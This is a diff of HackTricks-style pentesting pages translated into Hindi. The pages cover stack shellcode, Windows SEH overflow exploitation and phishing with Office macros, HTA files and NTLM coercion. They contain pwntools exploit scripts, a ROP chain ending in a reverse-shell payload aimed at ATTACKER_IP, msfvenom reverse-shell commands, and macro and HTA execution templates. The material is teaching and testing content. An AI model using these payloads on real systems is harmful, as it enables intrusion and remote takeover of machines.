59d028c3a..3c8f4eafa 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## बुनियादी जानकारी -**Stack shellcode** एक तकनीक है जो **binary exploitation** में इस्तेमाल होती है, जहाँ एक हमलावर vulnerable प्रोग्राम के stack पर shellcode लिखता है और फिर Instruction Pointer (IP) या Extended Instruction Pointer (EIP) को इस shellcode के पते पर बदल देता है, जिससे वह execute हो जाता है। यह लक्ष्य सिस्टम पर अनधिकृत पहुँच प्राप्त करने या arbitrary commands execute करने का एक क्लासिक तरीका है। नीचे प्रक्रिया का विवरण दिया गया है, जिसमें एक सरल C उदाहरण और यह दिखाया गया है कि आप Python के साथ **pwntools** का उपयोग करके संबंधित exploit कैसे लिख सकते हैं। +**Stack shellcode** एक तकनीक है जो **binary exploitation** में उपयोग होती है, जहाँ एक हमलावर कमजोर प्रोग्राम के stack पर shellcode लिखता है और फिर **Instruction Pointer (IP)** या **Extended Instruction Pointer (EIP)** को इस shellcode के स्थान की ओर इंगित करने के लिए बदल देता है, जिससे यह निष्पादित हो जाता है। यह लक्ष्य सिस्टम पर अनधिकृत पहुँच प्राप्त करने या मनमाने आदेशों को निष्पादित करने के लिए उपयोग की जाने वाली एक क्लासिक विधि है। यहाँ प्रक्रिया का विवरण है, जिसमें एक सरल C उदाहरण और यह भी बताया गया है कि आप Python के साथ **pwntools** का उपयोग करके संबंधित exploit कैसे लिख सकते हैं। ### C उदाहरण: एक कमजोर प्रोग्राम -आइए एक सरल कमजोर C प्रोग्राम के उदाहरण से शुरू करें: +चलें एक सरल कमजोर C प्रोग्राम के उदाहरण से शुरुआत करते हैं: ```c #include #include @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण एक buffer overflow के प्रति vulnerable है। +यह प्रोग्राम `gets()` फ़ंक्शन के उपयोग के कारण buffer overflow के प्रति vulnerable है। -### कम्पाइल करना +### संकलन -विभिन्न सुरक्षा व्यवस्थाओं को अक्षम करते हुए (एक vulnerable environment का अनुकरण करने के लिए), आप इस प्रोग्राम को कम्पाइल करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं: +विभिन्न सुरक्षा उपायों को अक्षम करते हुए (to simulate a vulnerable environment) इस प्रोग्राम को संकलित करने के लिए, आप निम्नलिखित command का उपयोग कर सकते हैं: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: Stack protection को अक्षम करता है। -- `-z execstack`: Stack को executable बनाता है, जो कि stack पर संग्रहित shellcode को execute करने के लिए आवश्यक है। -- `-no-pie`: Position Independent Executable को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारे shellcode का memory address कहाँ स्थित होगा। -- `-m32`: प्रोग्राम को 32-bit executable के रूप में compile करता है, जो अक्सर exploit development में सरलता के लिए उपयोग किया जाता है। +- `-fno-stack-protector`: स्टैक प्रोटेक्शन को अक्षम करता है. +- `-z execstack`: स्टैक को executable बनाता है, जो स्टैक पर संग्रहीत shellcode को निष्पादित करने के लिए आवश्यक है. +- `-no-pie`: Position Independent Executable को अक्षम करता है, जिससे यह अनुमान लगाना आसान हो जाता है कि हमारा shellcode किस मेमोरी पते पर स्थित होगा. +- `-m32`: प्रोग्राम को 32-bit executable के रूप में कंपाइल करता है, जो अक्सर exploit development में सरलता के लिए उपयोग होता है. -### Python Exploit using Pwntools +### Python Exploit: Pwntools का उपयोग करके -यहाँ बताया गया है कि आप Python में **pwntools** का उपयोग करके एक **ret2shellcode** attack कैसे लिख सकते हैं: +यहाँ बताया गया है कि आप Python में **pwntools** का उपयोग करके **ret2shellcode** attack करने के लिए एक exploit कैसे लिख सकते हैं: ```python from pwn import * @@ -68,24 +68,24 @@ p.interactive() ``` This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed. -The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide. +**NOP slide** (`asm('nop')`) का उपयोग इस संभावना को बढ़ाने के लिए किया जाता है कि execution हमारे shellcode में "slide" कर जाए भले ही exact address अलग हो। अपने buffer के starting address में offset जोड़कर `p32()` argument को समायोजित करें ताकि आप NOP slide में land करें। ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -आधुनिक Windows पर stack non-executable (DEP/NX) होता है। stack-resident shellcode को stack BOF के बाद भी execute कराने का एक सामान्य तरीका यह है कि एक 64-bit ROP chain बनाया जाए जो module की Import Address Table (IAT) से VirtualAlloc (या VirtualProtect) को कॉल करे ताकि stack का एक region executable बनाया जा सके और फिर chain के तुरंत बाद जोड़ी गई shellcode में return किया जा सके। +आधुनिक Windows पर stack non-executable होता है (DEP/NX)। stack-resident shellcode को stack BOF के बाद भी execute करने का एक सामान्य तरीका यह है कि आप एक 64-bit ROP chain बनाएं जो module के Import Address Table (IAT) से VirtualAlloc (या VirtualProtect) को कॉल करे ताकि stack का एक region executable बन जाए और फिर chain के बाद जोड़ी गई shellcode में return किया जा सके। Key points (Win64 calling convention): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → वर्तमान stack में कोई address चुनें (उदा., RSP) ताकि newly allocated RWX region आपके payload के साथ overlap करे -- RDX = dwSize → आपकी chain + shellcode के लिए पर्याप्त बड़ा (उदा., 0x1000) +- RCX = lpAddress → वर्तमान stack में किसी address को चुनें (उदा., RSP) ताकि newly allocated RWX region आपके payload के साथ overlap करे +- RDX = dwSize → आपके chain + shellcode के लिए पर्याप्त बड़ा (उदा., 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. Minimal strategy: -1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR. -2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). -3) Place stage-2 shellcode immediately after the chain. +1) Leak a module base (उदा., format-string, object pointer, आदि के माध्यम से) ताकि आप ASLR के तहत absolute gadget और IAT addresses compute कर सकें। +2) RCX/RDX/R8/R9 लोड करने के लिए gadgets खोजें (pop या mov/xor-आधारित sequences) और एक call/jmp [VirtualAlloc@IAT]। यदि आपके पास direct pop r8/r9 नहीं हैं, तो constants synthesize करने के लिए arithmetic gadgets का उपयोग करें (उदा., r8=0 सेट करें और r9 में 0x40 को बार-बार जोड़कर forty times तक जाकर 0x1000 प्राप्त करें)। +3) stage-2 shellcode को chain के तुरंत बाद रखें। Example layout (conceptual): ``` @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -एक सीमित gadget set के साथ, आप register values को अप्रत्यक्ष रूप से तैयार कर सकते हैं, उदाहरण के लिए: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9 को rbx से सेट करें, r8 को शून्य करें, और स्टैक को एक junk qword से समायोजित करें। -- xor rbx, rsp; ret → rbx को वर्तमान stack pointer से seed करें। -- push rbx; pop rax; mov rcx, rax; ret → RSP-derived value को RCX में move करें। +एक constrained gadget set के साथ, आप register values को indirectly craft कर सकते हैं, उदाहरण के लिए: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword. +- xor rbx, rsp; ret → seed rbx with the current stack pointer. +- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX. -Pwntools खाका (दिए गए known base और gadgets के साथ): +Pwntools sketch (यदि base और gadgets ज्ञात हों): ```python from pwn import * base = 0x7ff6693b0000 @@ -133,25 +133,26 @@ rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` टिप्स: -- VirtualProtect समान तरीके से काम करता है यदि किसी existing buffer को RX बनाना बेहतर हो; पैरामीटर क्रम अलग होता है। -- यदि stack space तंग है, तो stack को फिर से उपयोग करने की बजाय RWX कहीं और allocate करें (RCX=NULL) और उस नए region पर jmp करें। -- ऐसे gadgets जिनसे RSP बदलता है (e.g., add rsp, 8; ret) हमेशा ध्यान में रखें और बीच में junk qwords डालें। +- VirtualProtect समान रूप से काम करता है यदि किसी मौजूदा buffer को RX बनाना préférable हो; पैरामीटर का क्रम अलग है। +- यदि stack space तंग है, तो RWX कहीं और allocate करें (RCX=NULL) और stack को reuse करने के बजाय उस नए region पर jmp करें। +- ऐसे gadgets जिन्हें RSP adjust करना पड़ता है (जैसे add rsp, 8; ret) को हमेशा ध्यान में रखें और junk qwords डालें। -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** ताकि address executions के बीच भरोसेमंद रहे; अन्यथा जिस address पर function store होगा वह हमेशा एक सा नहीं होगा और आपको यह पता लगाने के लिए कुछ leak चाहिए होगा कि win function कहाँ लोड है। -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी disabled होना चाहिए वरना compromised EIP return address कभी follow नहीं होगा। -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection shellcode के stack के अंदर execution को रोक देगा क्योंकि वह region executable नहीं होगा। + +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **अक्षम किया जाना चाहिए** ताकि address executions के दौरान भरोसेमंद रहे — वरना जिस address पर function store होगा वह हर बार समान नहीं होगा और यह पता लगाने के लिए आपको किसी तरह का leak चाहिए होगा कि win function कहाँ load हुआ है। +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी अक्षम किया जाना चाहिए, वरना compromised EIP return address कभी भी follow नहीं होगा। +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** सुरक्षा shellcode के stack के भीतर execution को रोक देगी क्योंकि वह region executable नहीं होगा। ## अन्य उदाहरण और संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR के साथ stack address leak, shellcode लिखें और उस पर jump करें +- 64bit, ASLR के साथ stack address leak, shellcode लिखकर उस पर jump करें - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR के साथ stack leak, shellcode लिखें और उस पर jump करें +- 32 bit, ASLR के साथ stack leak, shellcode लिखकर उस पर jump करें - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR के साथ stack leak, exit() कॉल रोकने के लिए comparison, किसी variable को एक value से overwrite करना और shellcode लिखकर उस पर jump करना +- 32 bit, ASLR के साथ stack leak, exit() कॉल को रोकने के लिए comparison, किसी variable को एक value से overwrite करें और shellcode लिखकर उस पर jump करें - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, ASLR नहीं, ROP gadget से stack को executable बनाकर stack में मौजूद shellcode पर jump करना +- arm64, no ASLR, ROP gadget का उपयोग कर stack को executable बनाना और फिर stack में shellcode पर jump करना ## संदर्भ diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index e1acb1c27..7d83e7bc9 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation एक क्लासिक x86 Windows technique है जो stack पर संग्रहीत Structured Exception Handler chain का दुरुपयोग करती है। जब एक stack buffer overflow दो 4-byte फील्ड्स को overwrite कर देता है +SEH-based exploitation एक क्लासिक x86 Windows तकनीक है जो स्टैक पर संग्रहीत Structured Exception Handler chain का दुरुपयोग करती है। जब एक स्टैक बफ़र ओवरफ़्लो दो 4-बाइट फील्ड्स को ओवरराइट कर देता है - nSEH: pointer to the next SEH record, and - SEH: pointer to the exception handler function -एक attacker execution को निम्न तरीकों से नियंत्रित कर सकता है: +एक अटैकर एक्सेक्यूशन को निम्न तरीके से नियंत्रित कर सकता है: -1) SEH को एक non-protected module में मौजूद POP POP RET gadget के address पर सेट करना, ताकि जब exception dispatch हो तो gadget attacker-controlled bytes में return करे, और -2) nSEH का उपयोग करके execution को redirect करना (आम तौर पर एक short jump) overflowing बड़े buffer में जहाँ shellcode स्थित है वापस ले जाना। +1) SEH को किसी non-protected module में मौजूद POP POP RET gadget के address पर सेट करना, ताकि जब exception dispatch हो तो gadget attacker-controlled बाइट्स में लौटे, और +2) nSEH का उपयोग करके execution को redirect करना (आमतौर पर एक short jump) ताकि यह बड़े overflowing buffer में वापस चले जाए जहाँ shellcode मौजूद होता है। -This technique विशेष रूप से 32-bit processes (x86) के लिए है। आधुनिक सिस्टम पर, gadget के लिए SafeSEH और ASLR न होने वाला module पसंद करें। Bad characters अक्सर 0x00, 0x0a, 0x0d (NUL/CR/LF) शामिल होते हैं, जो C-strings और HTTP parsing के कारण होते हैं। +यह तकनीक 32-bit processes (x86) के लिए विशिष्ट है। आधुनिक सिस्टम पर, gadget के लिए ऐसे मॉड्यूल को प्राथमिकता दें जिनमें SafeSEH और ASLR न हो। Bad characters अक्सर 0x00, 0x0a, 0x0d (NUL/CR/LF) होते हैं, जो C-strings और HTTP parsing के कारण समस्या पैदा करते हैं। --- ## Finding exact offsets (nSEH / SEH) -- Process को crash कराएँ और पुष्टि करें कि SEH chain overwrite हुआ है (उदाहरण के लिए, x32dbg/x64dbg में SEH view चेक करें)। -- Overflowing data के रूप में एक cyclic pattern भेजें और उन दो dword के offsets compute करें जो nSEH और SEH में land करते हैं। +- प्रक्रिया को क्रैश करें और सत्यापित करें कि SEH chain ओवरराइट हुआ है (उदा., x32dbg/x64dbg में SEH view चेक करें)। +- overflowing डेटा के रूप में एक cyclic pattern भेजें और उन दो dwords के offsets निकालें जो nSEH और SEH में landen करते हैं। Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash @@ -33,24 +33,24 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -उन स्थानों पर मार्कर रखकर सत्यापित करें (उदा., nSEH=b"BB", SEH=b"CC"). क्रैश को पुनरुत्पादित करने के लिए कुल लंबाई स्थिर रखें। +Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible. --- -## POP POP RET (SEH gadget) चुनना +## Choosing a POP POP RET (SEH gadget) -SEH फ्रेम को अनवाइंड करने और आपके nSEH बाइट्स में लौटने के लिए आपको POP POP RET sequence की आवश्यकता होती है। इसे ऐसे मॉड्यूल में ढूँढें जिसमें SafeSEH न हो और आदर्श रूप से ASLR न हो: +SEH फ्रेम को अनवाइंड करने और अपने nSEH बाइट्स में लौटने के लिए आपको एक POP POP RET सीक्वेंस की आवश्यकता होती है। इसे ऐसे मॉड्यूल में ढूँढें जिसमें SafeSEH न हो और आदर्श रूप से ASLR भी न हो: - Mona (Immunity/WinDbg): `!mona modules` फिर `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` POP POP RET gadgets और SafeSEH status दिखाने के लिए। +- x64dbg plugin ERC.Xdbg: `ERC --SEH` POP POP RET gadgets और SafeSEH status सूचीबद्ध करने के लिए। -ऐसा address चुनें जिसमें little-endian में लिखने पर कोई badchars न हों (उदा., `p32(0x004094D8)`). यदि protections अनुमति दें तो vulnerable binary के अंदर के gadgets को प्राथमिकता दें। +ऐसा पता चुनें जिसमें little-endian में लिखने पर कोई badchars न हों (उदाहरण के लिए, `p32(0x004094D8)`)। यदि सुरक्षा अनुमति देती है तो vulnerable binary के अंदर के gadgets को प्राथमिकता दें। --- ## Jump-back technique (short + near jmp) -nSEH केवल 4 बाइट का होता है, जो अधिकतम 2-बाइट के short jump (`EB xx`) और padding के लिए फिट होता है। यदि आपको अपने buffer के start तक पहुँचने के लिए सैकड़ों बाइट पीछे कूदना पड़ता है, तो nSEH के ठीक पहले रखा गया 5-बाइट का near jump उपयोग करें और nSEH से एक short jump के साथ इसे chain करें। +nSEH सिर्फ 4 बाइट का होता है, जो अधिकतम 2-बाइट का short jump (`EB xx`) और padding ही समा सकता है। यदि आपको अपने buffer की शुरुआत तक पहुँचने के लिए सैकड़ों बाइट पीछे कूदना पड़ता है, तो nSEH के ठीक पहले एक 5-बाइट का near jump रखें और nSEH से एक short jump के माध्यम से उसे chain करें। nasmshell के साथ: ```text @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -nSEH को offset 660 पर रखते हुए 1000-byte payload के लिए लेआउट विचार: +nSEH at offset 660 के साथ 1000-byte payload के लिए लेआउट विचार: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -72,39 +72,39 @@ payload += p32(0x004094D8) # SEH: POP POP RET (no badc payload += b"D" * (buffer_length - len(payload)) ``` निष्पादन प्रवाह: -- Exception उत्पन्न होता है, dispatcher ओवरराइट किए गए SEH का उपयोग करता है। +- एक्सेप्शन होता है, डिस्पैचर ओवरराइट किए गए SEH का उपयोग करता है। - POP POP RET हमारे nSEH में अनवाइंड होता है। -- nSEH `jmp short -8` निष्पादित करता है, जो 5-byte near jump में जाता है। -- Near jump हमारे buffer की शुरुआत पर लैंड करता है जहाँ NOP sled + shellcode मौजूद हैं। +- nSEH `jmp short -8` को execute करता है, जो 5-byte near jump की ओर जाता है। +- Near jump हमारे बफ़र की शुरुआत पर land करता है जहाँ NOP sled + shellcode मौजूद हैं। --- -## Bad characters +## खराब कैरेक्टर्स -एक पूरा badchar string बनाएं और crash के बाद stack memory की तुलना करें, उन bytes को हटा दें जो target parser द्वारा mangled हो जाती हैं। HTTP-based overflows के लिए, `\x00\x0a\x0d` लगभग हमेशा exclude किए जाते हैं। +एक पूरा badchar string बनाएं और क्रैश के बाद stack memory से तुलना करें, उन बाइट्स को हटाते हुए जो target parser द्वारा बिगड़ गए हों। For HTTP-based overflows, `\x00\x0a\x0d` लगभग हमेशा बाहर होते हैं। ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case ``` --- -## Shellcode निर्माण (x86) +## Shellcode generation (x86) -अपने badchars के साथ msfvenom का उपयोग करें। एक छोटा NOP sled लैंडिंग विचलन सहन करने में मदद करता है। +अपने badchars के साथ msfvenom का उपयोग करें। एक छोटा NOP sled लैंडिंग में बदलाव सहन करने में मदद करता है। ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -यदि आप रन-टाइम पर जनरेट कर रहे हैं, तो hex format Python में embed और unhex करने के लिए सुविधाजनक है: +अगर आप on the fly जनरेट कर रहे हों, तो hex फ़ॉर्मेट को embed करके और Python में unhex करना सुविधाजनक रहता है: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` --- -## HTTP के माध्यम से डिलीवर करना (precise CRLF + Content-Length) +## Delivering over HTTP (precise CRLF + Content-Length) -जब कमजोर वेक्टर HTTP request body हो, तो सटीक CRLFs और Content-Length के साथ एक raw request तैयार करें ताकि सर्वर पूरे ओवरफ़्लो हो रहे body को पढ़ सके। +जब vulnerable vector HTTP request body हो, तो एक raw request तैयार करें जिसमें सटीक CRLFs और Content-Length हों ताकि server पूरे overflowing body को पढ़ ले। ```python # pip install pwntools from pwn import remote @@ -127,19 +127,19 @@ p.close() ## Tooling -- x32dbg/x64dbg — SEH chain को देखने और crash का प्राथमिक विश्लेषण करने के लिए। -- ERC.Xdbg (x64dbg plugin) — SEH gadgets को सूचीबद्ध करने के लिए: `ERC --SEH`. +- x32dbg/x64dbg — SEH chain को observe करने और triage the crash के लिए। +- ERC.Xdbg (x64dbg plugin) — SEH gadgets enumerate करने के लिए: `ERC --SEH`. - Mona as an alternative: `!mona modules`, `!mona seh`. -- nasmshell — short/near jumps assemble करने और raw opcodes कॉपी करने के लिए। -- pwntools — precise network payloads तैयार करने के लिए। +- nasmshell — short/near jumps assemble करने और raw opcodes copy करने के लिए। +- pwntools — सटीक network payloads craft करने के लिए। --- -## Notes and caveats +## नोट्स और चेतावनियाँ -- केवल x86 processes पर लागू होता है। x64 एक अलग SEH scheme का उपयोग करता है और SEH-based exploitation आम तौर पर व्यवहार्य नहीं होती। -- SafeSEH और ASLR के बिना modules में मौजूद gadgets को प्राथमिकता दें; अन्यथा, process में लोड किया गया कोई unprotected module ढूँढें। -- ऐसे service watchdogs जो crash पर स्वचालित रूप से restart करते हैं, iterative exploit development को आसान बना सकते हैं। +- केवल x86 processes पर लागू होता है। x64 अलग SEH scheme उपयोग करता है और SEH-based exploitation आम तौर पर viable नहीं होता। +- SafeSEH और ASLR से सुरक्षित न होने वाले modules में मौजूद gadgets प्राथमिकता दें; अन्यथा process में loaded कोई unprotected module खोजें। +- जो service watchdogs crash पर स्वतः restart कर देते हैं, वे iterative exploit development को आसान बना सकते हैं। ## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 84d3d582a..8557de879 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -2,19 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -## Office दस्तावेज़ +## Office Documents -Microsoft Word किसी फ़ाइल को खोलने से पहले फ़ाइल डेटा सत्यापन करता है। डेटा सत्यापन OfficeOpenXML standard के अनुसार डेटा संरचना की पहचान के रूप में किया जाता है। यदि डेटा संरचना की पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषित की जा रही फ़ाइल नहीं खोली जाएगी। +Microsoft Word किसी फ़ाइल को खोलने से पहले फ़ाइल डेटा वैलिडेशन करता है। डेटा वैलिडेशन डेटा स्ट्रक्चर की पहचान के रूप में, OfficeOpenXML मानक के खिलाफ किया जाता है। यदि डेटा स्ट्रक्चर पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषण की जा रही फ़ाइल नहीं खोली जाएगी। -आम तौर पर, macros वाली Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। फिर भी, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और उनकी macro निष्पादन क्षमताएँ बनी रह सकती हैं.\ -उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, लेकिन एक DOCM फ़ाइल जिसे RTF में नाम बदल दिया जाए, Microsoft Word द्वारा संभाली जाएगी और macro निष्पादन में सक्षम होगी.\ -उसी आंतरिक संरचना और तंत्र Microsoft Office Suite (Excel, PowerPoint आदि) के सभी सॉफ़्टवेयर पर लागू होते हैं। +आम तौर पर, macros वाले Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालांकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना और उनकी macros चलाने की क्षमता बनाए रखना संभव है.\ +उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन के अनुसार macros को सपोर्ट नहीं करती, लेकिन एक DOCM फ़ाइल जिसे RTF में नाम बदल दिया जाए, Microsoft Word द्वारा हैंडल की जाएगी और macros चलाने में सक्षम होगी.\ +उसी आंतरिक संरचनाएँ और मेकैनिज़्म Microsoft Office Suite (Excel, PowerPoint etc.) के सभी सॉफ़्टवेयर पर लागू होते हैं। -आप निम्नलिखित कमांड का उपयोग यह जांचने के लिए कर सकते हैं कि किन एक्सटेंशनों को कुछ Office प्रोग्राम्स द्वारा निष्पादित किया जाएगा: +आप निम्नलिखित कमांड का उपयोग करके यह जांच सकते हैं कि कौन से एक्सटेंशन कुछ Office प्रोग्राम्स द्वारा execute किए जाने वाले हैं: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. +macros शामिल करने वाले रिमोट टेम्पलेट को संदर्भित करने वाली DOCX फ़ाइलें (File –Options –Add-ins –Manage: Templates –Go) macros को भी “execute” कर सकती हैं। ### बाहरी इमेज लोड @@ -25,11 +25,11 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi ### Macros Backdoor -दस्तावेज़ से macros का उपयोग करके arbitrary code चलाना संभव है। +दस्तावेज़ से arbitrary code चलाने के लिए macros का उपयोग करना संभव है। #### Autoload functions -जितने अधिक सामान्य वे होंगे, AV द्वारा उन्हें पहचानने की संभावना उतनी ही अधिक होगी। +जितने अधिक सामान्य वे होते हैं, उतनी अधिक संभावना होती है कि AV उन्हें पहचान लेगा। - AutoOpen() - Document_Open() @@ -66,12 +66,12 @@ proc.Create "powershell ``` #### मैन्युअली मेटाडेटा हटाएँ -Go to **File > Info > Inspect Document > Inspect Document**, जो Document Inspector खोल देगा। **Inspect** पर क्लिक करें और फिर **Document Properties and Personal Information** के बगल में **Remove All** पर क्लिक करें। +पर जाएँ **File > Info > Inspect Document > Inspect Document**, जो Document Inspector खोलेगा। **Inspect** पर क्लिक करें और फिर **Document Properties and Personal Information** के बगल में **Remove All** पर क्लिक करें। #### Doc एक्सटेंशन -When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\ -यह इसलिए करें क्योंकि आप `.docx` के अंदर macro सहेज नहीं सकते और macro-enabled **`.docm`** एक्सटेंशन के बारे में नकारात्मक धारणा है (उदा. थंबनेल आइकॉन पर बड़ा `!` दिखता है और कुछ वेब/ईमेल गेटवे इन्हें पूरी तरह ब्लॉक कर देते हैं)। इसलिए यह पुराना `.doc` एक्सटेंशन सबसे अच्छा समझौता है। +जब समाप्त कर लें, **Save as type** ड्रॉपडाउन चुनें, फ़ॉर्मेट को **`.docx`** से बदलकर **Word 97-2003 `.doc`** करें.\ +यह इसलिए करें क्योंकि आप **can't save macro's inside a `.docx`** और macro-enabled **`.docm`** एक्सटेंशन के बारे में एक **stigma** है (उदा. थंबनेल आइकन पर एक बड़ा `!` होता है और कुछ वेब/ईमेल गेटवे इन्हें पूरी तरह ब्लॉक कर देते हैं)। इसलिए, यह **legacy `.doc` extension is the best compromise**. #### Malicious Macros Generators @@ -79,11 +79,11 @@ When finished, select **Save as type** dropdown, change the format from **`.docx - [**macphish**](https://github.com/cldrn/macphish) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) -## HTA फ़ाइलें +## HTA Files -HTA एक Windows प्रोग्राम है जो **HTML और scripting languages (जैसे VBScript और JScript)** को मिलाता है। यह उपयोगकर्ता इंटरफ़ेस बनाता है और ब्राउज़र की सुरक्षा मॉडल की पाबंदियों के बिना "fully trusted" एप्लिकेशन के रूप में निष्पादित होता है। +An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. यह user interface उत्पन्न करता है और एक "fully trusted" application के रूप में निष्पादित होता है, ब्राउज़र की सुरक्षा मॉडल की सीमाओं के बिना। -HTA को `mshta.exe` के माध्यम से चलाया जाता है, जो सामान्यतः Internet Explorer के साथ इंस्टॉल होता है, इसलिए `mshta` IE पर निर्भर होता है। यदि IE अनइंस्टॉल किया गया है तो HTA निष्पादन में सक्षम नहीं होंगे। +HTA को **`mshta.exe`** का उपयोग करके चलाया जाता है, जो आम तौर पर **Internet Explorer** के साथ **installed** होता है, जिससे **`mshta` dependant on IE** बनता है। इसलिए यदि इसे अनइंस्टॉल कर दिया गया है, तो HTAs निष्पादित नहीं हो पाएंगे। ```html <--! Basic HTA Execution --> @@ -138,7 +138,7 @@ var_func self.close ``` -## NTLM प्रमाणीकरण मजबूर करना +## NTLM Authentication को मजबूर करना There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.** @@ -156,22 +156,22 @@ There are several ways to **force NTLM authentication "remotely"**, for example, ### NTLM Relay -यह न भूलें कि आप केवल हैश या प्रमाणीकरण ही चुरा नहीं सकते बल्कि **NTLM relay attacks** भी अंजाम दे सकते हैं: +यह न भूलें कि आप सिर्फ hash या authentication चुराने तक सीमित नहीं हैं, बल्कि **perform NTLM relay attacks** भी कर सकते हैं: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to 